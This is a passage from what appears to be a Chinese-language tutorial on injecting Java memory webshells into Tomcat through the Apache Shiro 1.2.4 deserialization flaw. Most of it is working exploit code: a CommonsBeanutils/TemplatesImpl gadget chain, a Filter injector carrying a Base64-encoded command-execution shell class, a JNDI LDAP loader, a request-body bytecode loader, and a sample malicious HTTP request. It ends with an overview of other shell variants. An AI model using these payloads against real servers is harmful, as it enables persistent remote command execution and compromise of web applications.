ADUAAAACAAAAAbEAAAACABwAAAAGAAEAAAAKAB0AAAAWAAIAAAABAB4AHwAAAAAAAQAiACMAAQAkAAAABAABACUAAQAmACcAAgAbAAABcAAFAAkAAABuKxICuQADAgA6BBkExgBhuAAEGQS2AAU6BbsABlm7AAdZGQW2AAi3AAm3AAo6BrsAC1m3AAw6CBkGtgANWToHxgATGQgZB7YADhIPtgAOV6f/6CwSELkAEQIALLkAEgEAGQi2ABO2ABQZBrYAFbEAAAADABwAAAAuAAsAAAAPAAoAEAAPABEAGQASAC4AFAA3ABUAQgAWAFIAGABaABkAaAAaAG0AHQAdAAAAXAAJABkAVAAoACkABQAuAD8AKgArAAYAPwAuACwALQAHADcANgAuAC8ACAAAAG4AHgAfAAAAAABuADAAMQABAAAAbgAyADMAAgAAAG4ANAA1AAMACgBkADYALQAEADcAAABaAAP/ADcACQcAOAcAOQcAOgcAOwcAPAcAPQcAPgAHAD8AAP8AGgAJBwA4BwA5BwA6BwA7BwA8BwA9BwA+BwA8BwA/AAD/ABoABQcAOAcAOQcAOgcAOwcAPAAAACQAAAAGAAIAQAAlAAEAQQAaAAEAGwAAACsAAAABAAAAAbEAAAACABwAAAAGAAEAAAAiAB0AAAAMAAEAAAABAB4AHwAAAAEAQgAAAAIAQw==";
byte[] codeBytes = Base64.getDecoder().decode(codeBase64);
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod( "defineClass", byte[].class, int.class, int.class); defineClassMethod.setAccessible(true);
Class clazz = (Class) defineClassMethod.invoke( contextClassLoader, codeBytes, 0, codeBytes.length);
return (Filter) clazz.newInstance(); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
import static com.gaomu.Serializer.Deserialize; import static com.gaomu.Serializer.serialize;
public class ShiroCBTest { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<?> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaaaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
ClassPool pool = ClassPool.getDefault(); byte[] code1 = pool.get("Inject").toBytecode();
byte[][] codes = {code1}; bytecodesField.set(templates, codes);
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(new TransformingComparator<>(new ConstantTransformer<>(1))); priorityQueue.add(templates); priorityQueue.add(2);
Class<PriorityQueue> pc = PriorityQueue.class; Field comparatorField = pc.getDeclaredField("comparator"); comparatorField.setAccessible(true); comparatorField.set(priorityQueue, beanComparator);
serialize(priorityQueue);
} }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package com.gaomu;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.nio.file.Files; import java.nio.file.Paths;
public class Serializer { public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin"))); objectOutputStream.writeObject(obj); } public static Object Deserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename))); return objectInputStream.readObject(); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.0.53</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.4</version> </dependency> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.30.2-GA</version> </dependency>
|
- 最终只需要将构造的ser.bin文件传输到目标靶机的反序列化漏洞利用点,即可注入成功。
3.3.Shrio反序列化注入内存马
3.3.1.初始化测试环境
1 2 3
| git clone https://github.com/apache/shiro.git cd shiro git checkout shiro-root-1.2.4
|
1 2 3 4 5 6
| <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency>
|

- 修复工件,部署samples-web:war exploded,exploded表示默认展开的war包,多数用于开发测试环境。

3.3.2.使用反序列化JDNI注入内存马
- 通过Shrio反序列化漏洞,我们可能首先想到的可能就是通过反序列化链加载字节码的方式。例如利用TemplatesImpl类的getOutputProperties,加载字节码的方式写入内存马。但是这里存在一个限制,那就是说Tomcat的请求头参数长度,最长只能为8K,如果大于这个长度,tomcat会拦截这个请求,抛出异常并返回400。如下图所示

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.30.2-GA</version> </dependency> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.4</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.0.53</version> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com.gaomu;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
import static com.gaomu.Serializer.Deserialize; import static com.gaomu.Serializer.serialize;
public class ShiroCBTest { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<?> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaaaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
ClassPool pool = ClassPool.getDefault(); byte[] code1 = pool.get("JNDILoad").toBytecode();
byte[][] codes = {code1}; bytecodesField.set(templates, codes);
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(new TransformingComparator<>(new ConstantTransformer<>(1))); priorityQueue.add(templates); priorityQueue.add(2);
Class<PriorityQueue> pc = PriorityQueue.class; Field comparatorField = pc.getDeclaredField("comparator"); comparatorField.setAccessible(true); comparatorField.set(priorityQueue, beanComparator);
serialize(priorityQueue); Deserialize("ser.bin");
}
}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class JNDILoad extends AbstractTranslet { public JNDILoad() throws NamingException { InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://localhost:1399/Inject"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
- 内存马注入类和之前也一样,通过注入Filter中,实现
- Inject.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.catalina.webresources.StandardRoot; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.Filter; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64;
public class Inject extends AbstractTranslet { public Inject() throws Exception { StandardContext context = getContextTomcat8(); Filter filter = getFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilterName("shell"); filterDef.setFilter(filter); FilterMap filterMap = new FilterMap(); filterMap.setFilterName("shell"); filterMap.addURLPattern("/*"); context.addFilterDef(filterDef); context.addFilterMapBefore(filterMap); context.filterStart(); System.out.println("注入成功!"); }
public StandardContext getContextTomcat8() { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardRoot = (StandardRoot) webappClassLoaderBase.getResources();
return (StandardContext) standardRoot.getContext(); }
public StandardContext getContextTomcat9() { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); try { Field resourcesField = WebappClassLoaderBase.class.getDeclaredField("resources"); resourcesField.setAccessible(true); StandardRoot standardRoot = (StandardRoot) resourcesField.get(webappClassLoaderBase); return (StandardContext) standardRoot.getContext(); } catch (Exception e) { throw new RuntimeException(e); } }
public Filter getFilter() throws Exception { String codeBase64 = "yv66vgAAADQAfQoAFwBECAA2CwBFAEYKAEcASAoARwBJBwBKBwBLCgBMAE0KAAcATgoABgBPBwBQCgALAEQKAAYAUQoACwBSCABTCABUCwBVAFYLAFUAVwoACwBYCgBZAFoKAAYAWwcAXAcAXQcAXgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTFNoZWxsRmlsdGVyOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAF8BAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARwcm9jAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABm91dHB1dAEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEAB3JlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFwHAGAHAGEHAGIHAGMHAGQHAEoHAFAHAGUBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAEFNoZWxsRmlsdGVyLmphdmEMABkAGgcAYAwAZgBnBwBoDABpAGoMAGsAbAEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBkDABtAG4MABkAbwwAGQBwAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAcQByDABzAHQBAAQ8YnI+AQAYdGV4dC9odG1sOyBjaGFyc2V0PVVURi04BwBhDAB1AHYMAHcAeAwAeQByBwB6DAB7AHYMAHwAGgEAC1NoZWxsRmlsdGVyAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAh0b1N0cmluZwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWNsb3NlACEAFgAXAAEAGAAAAAQAAQAZABoAAQAbAAAALwABAAEAAAAFKrcAAbEAAAACABwAAAAGAAEAAAAGAB0AAAAMAAEAAAAFAB4AHwAAAAEAIAAhAAIAGwAAADUAAAACAAAAAbEAAAACABwAAAAGAAEAAAAKAB0AAAAWAAIAAAABAB4AHwAAAAAAAQAiACMAAQAkAAAABAABACUAAQAmACcAAgAbAAABcAAFAAkAAABuKxICuQADAgA6BBkExgBhuAAEGQS2AAU6BbsABlm7AAdZGQW2AAi3AAm3AAo6BrsAC1m3AAw6CBkGtgANWToHxgATGQgZB7YADhIPtgAOV6f/6CwSELkAEQIALLkAEgEAGQi2ABO2ABQZBrYAFbEAAAADABwAAAAuAAsAAAAPAAoAEAAPABEAGQASAC4AFAA3ABUAQgAWAFIAGABaABkAaAAaAG0AHQAdAAAAXAAJABkAVAAoACkABQAuAD8AKgArAAYAPwAuACwALQAHADcANgAuAC8ACAAAAG4AHgAfAAAAAABuADAAMQABAAAAbgAyADMAAgAAAG4ANAA1AAMACgBkADYALQAEADcAAABaAAP/ADcACQcAOAcAOQcAOgcAOwcAPAcAPQcAPgAHAD8AAP8AGgAJBwA4BwA5BwA6BwA7BwA8BwA9BwA+BwA8BwA/AAD/ABoABQcAOAcAOQcAOgcAOwcAPAAAACQAAAAGAAIAQAAlAAEAQQAaAAEAGwAAACsAAAABAAAAAbEAAAACABwAAAAGAAEAAAAiAB0AAAAMAAEAAAABAB4AHwAAAAEAQgAAAAIAQw==";
byte[] codeBytes = Base64.getDecoder().decode(codeBase64);
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod( "defineClass", byte[].class, int.class, int.class); defineClassMethod.setAccessible(true);
Class clazz = (Class) defineClassMethod.invoke( contextClassLoader, codeBytes, 0, codeBytes.length);
return (Filter) clazz.newInstance(); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}
|



- 将加密IV拼接到密文开头,同时进行BASE64编码。




3.3.3.使用body参数注入内存马
- 既然不能直接进行注入,可以通过获取到StandardContext,然后获取到Request和Response,这样我们就可以将内存码注入的逻辑写到请求体中,通过加载请求体中的参数的方式执行内存马注入逻辑。
- 因此我们需要写一个加载器,用于加载请求体中的参数。
- 该加载器代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.connector.*; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.coyote.RequestInfo;
import java.io.*; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Base64; import java.util.List;
public class ShellLoader extends AbstractTranslet{ public static Object getField(Object obj, Class<?> clazz, String... fieldNames) throws Exception { for (String part : fieldNames) { String[] segs = part.split("_", 2); Field field = clazz.getDeclaredField(segs[0].split(":")[0]); field.setAccessible(true); obj = field.get(obj); if (segs.length > 1) { String[] parts = segs[1].split(":", 2); int idx = Integer.parseInt(parts[0]); obj = obj instanceof List ? ((List<?>) obj).get(idx) : Array.get(obj, idx); clazz = parts.length > 1 ? Class.forName(parts[1]) : obj.getClass(); } else { clazz = part.contains(":") ? Class.forName(part.split(":")[1]) : field.getType(); } } return obj; } static{ try { ArrayList<RequestInfo> infos = (ArrayList<RequestInfo>) getField( Thread.currentThread().getContextClassLoader(), WebappClassLoaderBase.class, "resources:org.apache.catalina.webresources.StandardRoot", "context:org.apache.catalina.core.StandardContext", "context", "service:org.apache.catalina.core.StandardService", "connectors_0:org.apache.catalina.connector.Connector", "protocolHandler:org.apache.coyote.AbstractProtocol", "handler:org.apache.coyote.AbstractProtocol$ConnectionHandler", "global", "processors" ); for (RequestInfo ri : infos){ org.apache.coyote.Request r = (org.apache.coyote.Request)getField(ri, RequestInfo.class, "req"); Request req = (Request) r.getNote(1); Response resp = req.getResponse();
PrintWriter out = resp.getWriter(); out.flush();
byte[] bytes = Base64.getDecoder().decode(req.getParameter("code")); Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); Class clazz = (Class) method.invoke(ShellLoader.class.getClassLoader(), bytes, 0, bytes.length); out.println("load success, classInfo: "+clazz.getName()); clazz.newInstance(); } } catch (Exception e) {} }
@Override public void transform(DOM document, SerializationHandler[] handlers) {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler){} }
|
- 接下来通用使用CB链的反序列化执行ShellLoader
1
| byte[] code1 = pool.get("ShellLoader").toBytecode();
|
- 将生成的反序列化利用链使用AES加密,然后将加密结果设置为remember的参数,于此同时,我们还需要将我们的注入内存马的Inject.class类,使用base64编码。
- 那么大致的请求体格式如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| GET /samples_web_war_exploded/account/ HTTP/1.1 Host: 192.168.31.246:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.31.246:8080/samples_web_war_exploded/login.jsp;jsessionid=20D8DAFA305DD0EBFDF11B0B0DD372D1 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,zh-TW;q=0.7 Cookie: rememberMe=WlqWvvrb1KtRI............ Connection: keep-alive Content-Length: 8808
code=yv66vgAAADQA..........
|
- 这样就能将请求参数code的base64编码的字节码,也就是注入内存的逻辑放在请求参数中获取执行,实现内存码注入。
4.总结
JAVA WEB类型,例如servlet、filter、Listener型,这些用起来都大差不差。
这类内存马实现起来比较容易,只需要从request中获取到servletContext,通过servletContext获取到applicationContext然后从里面获取到standardContext,接下来就简单了,如果注入servlet内存马,是需要使用standardContext创建一个Wrapper包装器,然后编写一个servlet恶意代码,将这个servlet set注入到wrapper里,然后将wrapper再添加到standardContext,就成功注入了。
如果是Filter内存马,就可以构建一个FilterDef实例和一个FilterMap实例,并且将编写好的filter恶意代码注入到FilterDef中,然后将FilterDef和FilterMap注入到standardContext,就完成了Filter内存马的注入了。
如果是Listener就更简单了直接就可以将编写好的Listener恶意代码注入到standardContext中,只是listener的回显方式编写会有点区别,需要反射获取request对象用于回显。
然后是框架类型,例如Spring的Controller,Intercepter,还有比较新型的Spring WebFlux,适用于响应式框架。
Spring框架Controller内存马主要是通过WebApplicationContext实现,首先从中获得RequestMappingHandlerMapping,然后将编写好的恶意Controller代码和新构建的请求映射信息注册到mapping中。
然后是Interceptor内存马,只需要从RequestMappingHandlerMapping中获取到adaptedInterceptors,然后将自己构造的恶意监听器添加到这个适配拦截器列表中即可。
或者是中间件型,例如Tomcat Valve,还有一些比较新型的内存码例如WebSocket、RMI型、还有Agent型内存马。
Tomcat Valve型,valve主要是利用tomcat 容器管道中的阀门实现的,因此Valve型可以跨应用实现内存马注入,阀门机制仅针对tomcat容器,实现同样可以使用之前提到的standardContext添加一个恶意的阀门,实现valve型内存马注入,不过这个恶意valve类需要继承ValveBase,重写invoke方法。
而Agent型内存码通常不是在容器内部实现,而是通过hook的方式,在容器外部对容器本身进行操作。
一共有两种方式实现注入,一种是premain,启动时通过启动参数-javaagent指定代理jar包,这种方式通常可以通过修改启动脚本,实现永久内存马的驻留。然后是Agentmain方式通过attach api动态附加到指定进程ID的jvm程序中。代码实现方式是通过编写一个agent java应用,通过对过滤器核心类ApplicationFilterChain进行字节码篡改,利用Javassist工具,将恶意字节码注入到doFilter方法中。
然后是注入方式,常用的就是直接上传JSP代码进行注入,或者JNDI远程字节码加载,不过通过JNDI注入获取Context的方式和直接通过JSP文件上传的方式注入内存马还是有所差异,根据不同的容器版本有不同的获取方式。
然后是通过反序列化注入,例如shiro反序列化注入,不过shiro反序列化注入内存马时需要注入tomcat容器对请求头长度的限制,因此我们需要压缩生成的序列化字段的长度,两种方式一种是出网的话就使用反序列化JNDI加载远程字节码的方式实现,还有一种是不出网,可以利用tomcatEcho那条回显链,获取到request中的请求参数,我们只需要将实现注入内存马的类base64编码后写入到请求参数中,通过获取到requet中的请求参数,解码并加载该类,从而实现内存马注入,以此就绕开了请求头的长度限制,将实现注入逻辑写入到请求体中。
当然除了手写内存马以外,我们在实际渗透过程中更多是通过工具自动注入内存马,手动编写的场景并不多,手动实现场景更多是为了漏洞研究,理解内存马实现的根本逻辑,从而更加灵活的面对原来越复杂的渗透场景。